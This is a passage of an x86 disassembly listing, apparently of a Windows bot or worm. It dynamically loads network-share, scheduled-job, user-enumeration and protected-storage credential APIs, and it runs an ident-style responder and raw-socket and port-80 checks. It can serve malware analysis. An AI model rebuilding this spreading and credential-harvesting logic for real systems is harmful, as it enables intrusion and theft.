--------------------------------------------------------------------------- loc_4039AA: ; CODE XREF: sub_4038BA+E3j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_4039D3 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_4039D3: ; CODE XREF: sub_4038BA+102j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp loc_403ABA ; --------------------------------------------------------------------------- loc_4039F4: ; CODE XREF: sub_4038BA+C0j mov eax, [ebp+arg_18] and eax, 1 test eax, eax jz loc_403A92 mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 7F000001h jz short loc_403A1D mov eax, [ebp+var_40C] cmp dword ptr [eax+4], 0 jnz short loc_403A92 loc_403A1D: ; CODE XREF: sub_4038BA+155j push 0 push 4 mov eax, [ebp+var_40C] add eax, 4 push eax call dword_417220 ; gethostbyaddr mov [ebp+var_410], eax cmp [ebp+var_410], 0 jnz short loc_403A4B call dword_417224 ; WSAGetLastError jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A4B: ; CODE XREF: sub_4038BA+184j mov eax, [ebp+var_410] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403A74 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403A74: ; CODE XREF: sub_4038BA+1A3j push 401h mov eax, [ebp+var_410] push dword ptr [eax] lea eax, [ebp+var_404] push eax call sub_407A56 add esp, 0Ch jmp short loc_403ABA ; --------------------------------------------------------------------------- loc_403A92: ; CODE XREF: sub_4038BA+142j ; sub_4038BA+161j ... lea eax, [ebp+var_404] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_C] jbe short loc_403ABA push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403ABA: ; CODE XREF: sub_4038BA+63j ; sub_4038BA+135j ... cmp [ebp+arg_10], 0 jz loc_403B99 push 8 pop eax test eax, eax jz short loc_403B2C push 0Ah lea eax, [ebp+var_430] push eax mov eax, [ebp+var_40C] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_430] push eax call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B19 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp locret_403BB9 ; --------------------------------------------------------------------------- loc_403B19: ; CODE XREF: sub_4038BA+248j lea eax, [ebp+var_430] push eax push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403B99 ; --------------------------------------------------------------------------- loc_403B2C: ; CODE XREF: sub_4038BA+20Fj mov eax, [ebp+arg_18] and eax, 10h neg eax sbb eax, eax and eax, offset aUdp ; "udp" push eax mov eax, [ebp+var_40C] movzx eax, word ptr [eax+2] push eax call dword_417228 ; getservbyport mov [ebp+var_408], eax cmp [ebp+var_408], 0 jnz short loc_403B61 or eax, 0FFFFFFFFh jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B61: ; CODE XREF: sub_4038BA+2A0j mov eax, [ebp+var_408] push dword ptr [eax] call sub_416B40 ; strlen pop ecx inc eax cmp eax, [ebp+arg_14] jbe short loc_403B87 push 2747h call dword_417234 ; WSASetLastError mov eax, 2747h jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403B87: ; CODE XREF: sub_4038BA+2B9j mov eax, [ebp+var_408] push dword ptr [eax] push [ebp+arg_10] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403B99: ; CODE XREF: sub_4038BA+204j ; sub_4038BA+270j cmp [ebp+arg_8], 0 jz short loc_403BB0 lea eax, [ebp+var_404] push eax push [ebp+arg_8] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403BB0: ; CODE XREF: sub_4038BA+2E3j xor eax, eax jmp short locret_403BB9 ; --------------------------------------------------------------------------- loc_403BB4: ; CODE XREF: sub_4038BA+B3j jmp loc_403A92 ; --------------------------------------------------------------------------- locret_403BB9: ; CODE XREF: sub_4038BA+2Ej ; sub_4038BA+5Aj ... leave retn 1Ch sub_4038BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BBD proc near ; DATA XREF: sub_403BD3+1C6o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jz short loc_403BCF push [ebp+arg_0] call sub_416B4C ; free pop ecx loc_403BCF: ; CODE XREF: sub_403BBD+7j pop ebp retn 4 sub_403BBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403BD3 proc near ; CODE XREF: MEW:loc_4168BCp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset aKernel32_dll ; "kernel32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_403C00 push offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount" push [ebp+var_C] call dword_417058 ; GetProcAddress mov dword_41DE10, eax loc_403C00: ; CODE XREF: sub_403BD3+18j push offset aNetapi32_dll ; "netapi32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz loc_403CC3 push offset aNetusegetinfo ; "NetUseGetInfo" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE18, eax push offset aNetuseadd ; "NetUseAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE1C, eax push offset aNetusedel ; "NetUseDel" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE20, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE24, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE28, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE2C, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE30, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE34, eax push offset aNetaddalternat ; "NetAddAlternateComputerName" push [ebp+var_14] call dword_417058 ; GetProcAddress mov dword_41DE38, eax loc_403CC3: ; CODE XREF: sub_403BD3+3Fj push offset aMpr_dll ; "mpr.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_403D23 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE3C, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE40, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE44, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_8] call dword_417058 ; GetProcAddress mov dword_41DE48, eax loc_403D23: ; CODE XREF: sub_403BD3+102j push offset aWs2_32_dll ; "ws2_32.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_4], eax push offset aGetaddrinfo ; "getaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE54, eax push offset aGetnameinfo ; "getnameinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE58, eax push offset aFreeaddrinfo ; "freeaddrinfo" push [ebp+var_4] call dword_417058 ; GetProcAddress mov dword_41DE5C, eax cmp dword_41DE54, 0 jz short loc_403D85 cmp dword_41DE58, 0 jz short loc_403D85 cmp dword_41DE5C, 0 jnz short loc_403DA3 loc_403D85: ; CODE XREF: sub_403BD3+19Ej ; sub_403BD3+1A7j mov dword_41DE54, offset sub_403588 mov dword_41DE58, offset sub_4038BA mov dword_41DE5C, offset sub_403BBD loc_403DA3: ; CODE XREF: sub_403BD3+1B0j push offset aPstorec_dll ; "pstorec.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_403DCA push offset aPstorecreatein ; "PStoreCreateInstance" push [ebp+var_10] call dword_417058 ; GetProcAddress mov dword_41DE50, eax loc_403DCA: ; CODE XREF: sub_403BD3+1E2j push offset aWininet_dll ; "wininet.dll" call dword_417054 ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short locret_403DF1 push offset aInternetgetcon ; "InternetGetConnectedStateExA" push [ebp+var_18] call dword_417058 ; GetProcAddress mov dword_41DE4C, eax locret_403DF1: ; CODE XREF: sub_403BD3+209j leave retn sub_403BD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DF3 proc near ; DATA XREF: sub_403FE5+89o var_1228 = dword ptr -1228h var_1224 = byte ptr -1224h var_1200 = byte ptr -1200h var_11DC = byte ptr -11DCh var_11B8 = dword ptr -11B8h var_11B4 = dword ptr -11B4h var_11B0 = dword ptr -11B0h var_11AC = byte ptr -11ACh var_11A6 = byte ptr -11A6h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1228h call sub_416BC0 push 1ADh push [ebp+arg_0] lea eax, [ebp+var_11B0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_11AC] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_11B4], eax cmp [ebp+var_11B4], 0 jnz short loc_403E52 push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax jmp locret_403FE1 ; --------------------------------------------------------------------------- loc_403E52: ; CODE XREF: sub_403DF3+4Aj lea eax, [ebp+var_11AC] push eax mov eax, [ebp+var_11B0] push dword ptr [eax] push offset dword_4189C4 lea eax, [ebp+var_11A6] push eax call sub_40D53F add esp, 10h loc_403E75: ; CODE XREF: sub_403DF3+BDj ; sub_403DF3+10Fj ... push 3E8h push [ebp+var_11B4] call sub_4048EF pop ecx pop ecx mov [ebp+var_11B8], eax mov eax, [ebp+var_11B0] cmp dword ptr [eax+4], 0 jnz short loc_403EA2 cmp [ebp+var_11B8], 0 jnz short loc_403EA7 loc_403EA2: ; CODE XREF: sub_403DF3+A4j jmp loc_403FC7 ; --------------------------------------------------------------------------- loc_403EA7: ; CODE XREF: sub_403DF3+ADj cmp [ebp+var_11B8], 0FFFFFFFFh jnz short loc_403EB2 jmp short loc_403E75 ; --------------------------------------------------------------------------- loc_403EB2: ; CODE XREF: sub_403DF3+BBj push 1000h lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053DC add esp, 0Ch mov [ebp+var_1228], eax cmp [ebp+var_1228], 0 jz short loc_403EF6 cmp [ebp+var_1228], 0FFFFFFFFh jz short loc_403EF6 lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx cmp eax, 10h jbe short loc_403F07 loc_403EF6: ; CODE XREF: sub_403DF3+E6j ; sub_403DF3+EFj push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403F07: ; CODE XREF: sub_403DF3+101j movsx eax, byte_41EE98 test eax, eax jz short loc_403F27 push offset byte_41EE98 lea eax, [ebp+var_1224] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_403F57 ; --------------------------------------------------------------------------- loc_403F27: ; CODE XREF: sub_403DF3+11Dj lea eax, [ebp+var_1200] push eax lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_11DC] push eax call sub_40668F add esp, 0Ch lea eax, [ebp+var_1224] push eax push offset byte_41EE98 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_403F57: ; CODE XREF: sub_403DF3+132j push offset aUseridUnix ; " : USERID : UNIX : " lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1224] push eax lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx push offset asc_418214 ; "\r\n" lea eax, [ebp+var_1000] push eax call sub_416B70 ; _mbscat pop ecx pop ecx lea eax, [ebp+var_1000] push eax call sub_416B40 ; strlen pop ecx inc eax push eax lea eax, [ebp+var_1000] push eax push [ebp+var_11B8] call sub_4053BF add esp, 0Ch push [ebp+var_11B8] call sub_40538D pop ecx jmp loc_403E75 ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403DF3:loc_403EA2j push [ebp+var_11B4] call sub_404CBB pop ecx push [ebp+var_11B0] call sub_409763 pop ecx xor eax, eax locret_403FE1: ; CODE XREF: sub_403DF3+5Aj leave retn 4 sub_403DF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FE5 proc near ; CODE XREF: sub_40A9CF+EECp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_403FFD push [ebp+arg_4] call sub_40422A pop ecx test eax, eax jnz short loc_404004 loc_403FFD: ; CODE XREF: sub_403FE5+9j mov [ebp+arg_4], offset dword_418A18 loc_404004: ; CODE XREF: sub_403FE5+16j push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40401A jmp short locret_40407B ; --------------------------------------------------------------------------- loc_40401A: ; CODE XREF: sub_403FE5+31j push 6 push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_404059 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] test eax, eax jz short loc_404059 and [ebp+var_8], 0 jmp short loc_404060 ; --------------------------------------------------------------------------- loc_404059: ; CODE XREF: sub_403FE5+5Ej ; sub_403FE5+6Cj mov [ebp+var_8], 1 loc_404060: ; CODE XREF: sub_403FE5+72j push [ebp+arg_4] push offset dword_4189F8 push [ebp+var_8] push [ebp+var_4] push offset sub_403DF3 call sub_4095A4 add esp, 14h locret_40407B: ; CODE XREF: sub_403FE5+33j leave retn sub_403FE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40407D proc near ; CODE XREF: sub_4055E5+772p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_404085: ; CODE XREF: sub_40407D+2Cj cmp [ebp+arg_4], 1 jbe short loc_4040AB mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_404085 ; --------------------------------------------------------------------------- loc_4040AB: ; CODE XREF: sub_40407D+Cj cmp [ebp+arg_4], 0 jz short loc_4040BF mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_4040BF: ; CODE XREF: sub_40407D+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40407D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E8 proc near ; CODE XREF: sub_4055E5+752p ; sub_40A9CF+1A2Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax cmp [ebp+var_4], 2 jz short loc_404146 cmp [ebp+var_4], 3 jz short loc_404124 cmp [ebp+var_4], 4 jz short loc_404106 jmp short loc_40416A ; --------------------------------------------------------------------------- loc_404106: ; CODE XREF: sub_4040E8+1Aj mov eax, [ebp+arg_0] and al, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404124: ; CODE XREF: sub_4040E8+14j mov eax, [ebp+arg_0] and ah, 0 mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 8 mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_404146: ; CODE XREF: sub_4040E8+Ej mov eax, [ebp+arg_0] and eax, 0FF00FFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 10h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx loc_40416A: ; CODE XREF: sub_4040E8+1Cj mov eax, [ebp+arg_0] and eax, 0FFFFFFh mov [ebp+arg_0], eax push 0FEh push 1 call sub_4103F5 pop ecx pop ecx shl eax, 18h mov ecx, [ebp+arg_0] or ecx, eax mov [ebp+arg_0], ecx mov eax, [ebp+arg_0] leave retn sub_4040E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404193 proc near ; CODE XREF: sub_404279+Ap ; sub_40435B+17p arg_0 = dword ptr 8 push ebp mov ebp, esp push 0Ah push [ebp+arg_0] push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch pop ebp retn sub_404193 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041B7 proc near ; CODE XREF: sub_40D871+5B3p arg_0 = dword ptr 8 push ebp mov ebp, esp push 4 push offset dword_418A48 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041D5 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041D5: ; CODE XREF: sub_4041B7+17j push 4 push offset dword_418A40 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_4041F0 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_4041F0: ; CODE XREF: sub_4041B7+32j push 8 push offset dword_418A34 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_40420B push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_40420B: ; CODE XREF: sub_4041B7+4Dj push 3 push offset dword_418A30 push [ebp+arg_0] call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jnz short loc_404226 push 1 pop eax jmp short loc_404228 ; --------------------------------------------------------------------------- loc_404226: ; CODE XREF: sub_4041B7+68j xor eax, eax loc_404228: ; CODE XREF: sub_4041B7+1Cj ; sub_4041B7+37j ... pop ebp retn sub_4041B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40422A proc near ; CODE XREF: sub_402A32+206p ; sub_403FE5+Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_40423C ; --------------------------------------------------------------------------- loc_404235: ; CODE XREF: sub_40422A:loc_404273j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40423C: ; CODE XREF: sub_40422A+9j cmp [ebp+var_4], 6 jnz short loc_404244 jmp short loc_404275 ; --------------------------------------------------------------------------- loc_404244: ; CODE XREF: sub_40422A+16j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_404273 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_40426C cmp [ebp+var_8], 0FFFFh jbe short loc_40426E loc_40426C: ; CODE XREF: sub_40422A+37j jmp short loc_404275 ; --------------------------------------------------------------------------- loc_40426E: ; CODE XREF: sub_40422A+40j push 1 pop eax jmp short locret_404277 ; --------------------------------------------------------------------------- loc_404273: ; CODE XREF: sub_40422A+25j jmp short loc_404235 ; --------------------------------------------------------------------------- loc_404275: ; CODE XREF: sub_40422A+18j ; sub_40422A:loc_40426Cj xor eax, eax locret_404277: ; CODE XREF: sub_40422A+47j leave retn sub_40422A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404279 proc near ; CODE XREF: sub_4042FB+Cp ; sub_408B30+197p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 18h lea eax, [ebp+var_8] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_8] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_4042A4 push 1 pop eax jmp short locret_4042F9 ; --------------------------------------------------------------------------- loc_4042A4: ; CODE XREF: sub_404279+24j push 0BB8h push 0 lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_4050EA add esp, 10h mov [ebp+var_C], eax push [ebp+var_10] call sub_404CBB pop ecx cmp [ebp+var_C], 0 jz short loc_4042DA cmp [ebp+var_C], 0FFFFFFFFh jz short loc_4042DA and [ebp+var_18], 0 jmp short loc_4042E1 ; --------------------------------------------------------------------------- loc_4042DA: ; CODE XREF: sub_404279+53j ; sub_404279+59j mov [ebp+var_18], 1 loc_4042E1: ; CODE XREF: sub_404279+5Fj mov eax, [ebp+var_18] mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4042F6 push [ebp+var_C] call sub_4053B1 pop ecx loc_4042F6: ; CODE XREF: sub_404279+72j mov eax, [ebp+var_14] locret_4042F9: ; CODE XREF: sub_404279+29j leave retn sub_404279 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4042FB proc near ; CODE XREF: sub_411D68+4p ; sub_41349C+1FAp ... push ebp mov ebp, esp cmp dword_41E264, 0 jnz short loc_404327 call sub_404279 push eax push offset dword_41E268 call sub_409C9D pop ecx pop ecx push 1 push offset dword_41E264 call sub_409C9D pop ecx pop ecx loc_404327: ; CODE XREF: sub_4042FB+Aj mov eax, dword_41E268 pop ebp retn sub_4042FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40432E proc near ; CODE XREF: sub_40435B+6p ; sub_4046BC+5Dp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push 0 push 1 push 17h call dword_417218 ; socket mov [ebp+var_4], eax cmp [ebp+var_4], 0FFFFFFFFh jz short loc_404350 push [ebp+var_4] call sub_4053B1 pop ecx loc_404350: ; CODE XREF: sub_40432E+17j xor eax, eax cmp [ebp+var_4], 0FFFFFFFFh setnz al leave retn sub_40432E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40435B proc near ; CODE XREF: sub_4083AD:loc_4085D6p var_18 = dword ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h call sub_40432E test eax, eax jnz short loc_40436E xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_40436E: ; CODE XREF: sub_40435B+Dj lea eax, [ebp+var_14] push eax call sub_404193 pop ecx push 1 lea eax, [ebp+var_14] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_404392 xor eax, eax jmp short locret_4043E7 ; --------------------------------------------------------------------------- loc_404392: ; CODE XREF: sub_40435B+31j push 0BB8h push 2 lea eax, [ebp+var_14] push eax push offset dword_418A5C call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call sub_404CBB pop ecx cmp [ebp+var_8], 0 jz short loc_4043CB cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4043CB mov [ebp+var_18], 1 jmp short loc_4043CF ; --------------------------------------------------------------------------- loc_4043CB: ; CODE XREF: sub_40435B+5Fj ; sub_40435B+65j and [ebp+var_18], 0 loc_4043CF: ; CODE XREF: sub_40435B+6Ej mov eax, [ebp+var_18] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4043E4 push [ebp+var_8] call sub_4053B1 pop ecx loc_4043E4: ; CODE XREF: sub_40435B+7Ej mov eax, [ebp+var_4] locret_4043E7: ; CODE XREF: sub_40435B+11j ; sub_40435B+35j leave retn sub_40435B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4043E9 proc near ; CODE XREF: sub_408B30:loc_408C9Fp ; sub_40CA29+231p ... var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h push offset dword_418A1C lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_1C] push eax call sub_4105FB pop ecx push 7D0h push 2 push offset a80 ; "80" lea eax, [ebp+var_1C] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_404439 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_404439 mov [ebp+var_20], 1 jmp short loc_40443D ; --------------------------------------------------------------------------- loc_404439: ; CODE XREF: sub_4043E9+3Fj ; sub_4043E9+45j and [ebp+var_20], 0 loc_40443D: ; CODE XREF: sub_4043E9+4Ej mov eax, [ebp+var_20] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_404452 push [ebp+var_8] call sub_4053B1 pop ecx loc_404452: ; CODE XREF: sub_4043E9+5Ej mov eax, [ebp+var_4] leave retn sub_4043E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404457 proc near ; CODE XREF: sub_404FE7+AFp ; sub_4050EA+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx xor eax, eax cmp [ebp+arg_4], 0 setz al mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax push 8004667Eh push [ebp+arg_0] call dword_417214 ; ioctlsocket leave retn sub_404457 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40447B proc near ; CODE XREF: sub_40732D+22Ep ; sub_40732D+296p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx lea eax, [ebp+var_4] push eax push 4004667Fh push [ebp+arg_0] call dword_417214 ; ioctlsocket xor eax, eax cmp [ebp+var_4], 0 setnz al leave retn sub_40447B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40449C proc near ; CODE XREF: sub_40D871+5A1p ; sub_411DC5+65p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4044CC xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044CC: ; CODE XREF: sub_40449C+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_4044F2 xor eax, eax jmp short locret_4044F5 ; --------------------------------------------------------------------------- loc_4044F2: ; CODE XREF: sub_40449C+50j push 1 pop eax locret_4044F5: ; CODE XREF: sub_40449C+2Ej ; sub_40449C+54j leave retn sub_40449C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4044F7 proc near ; CODE XREF: sub_40732D+DDp ; sub_4129CA+29p ... var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h mov [ebp+var_84], 80h lea eax, [ebp+var_84] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417210 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_404527 xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_404527: ; CODE XREF: sub_4044F7+2Aj push 2 push 0 push 0 push 100h push [ebp+arg_4] push [ebp+var_84] lea eax, [ebp+var_80] push eax call dword_41DE58 ; getnameinfo test eax, eax jz short loc_40454D xor eax, eax jmp short locret_404550 ; --------------------------------------------------------------------------- loc_40454D: ; CODE XREF: sub_4044F7+50j push 1 pop eax locret_404550: ; CODE XREF: sub_4044F7+2Ej ; sub_4044F7+54j leave retn sub_4044F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404552 proc near ; CODE XREF: sub_41331E+A6p ; sub_415F69+256p var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 88h mov [ebp+var_88], 80h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_80] push eax push [ebp+arg_0] call dword_417240 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_404582 xor eax, eax jmp short locret_4045B0 ; --------------------------------------------------------------------------- loc_404582: ; CODE XREF: sub_404552+2Aj lea eax, [ebp+var_80] mov [ebp+var_84], eax push 0Ah push 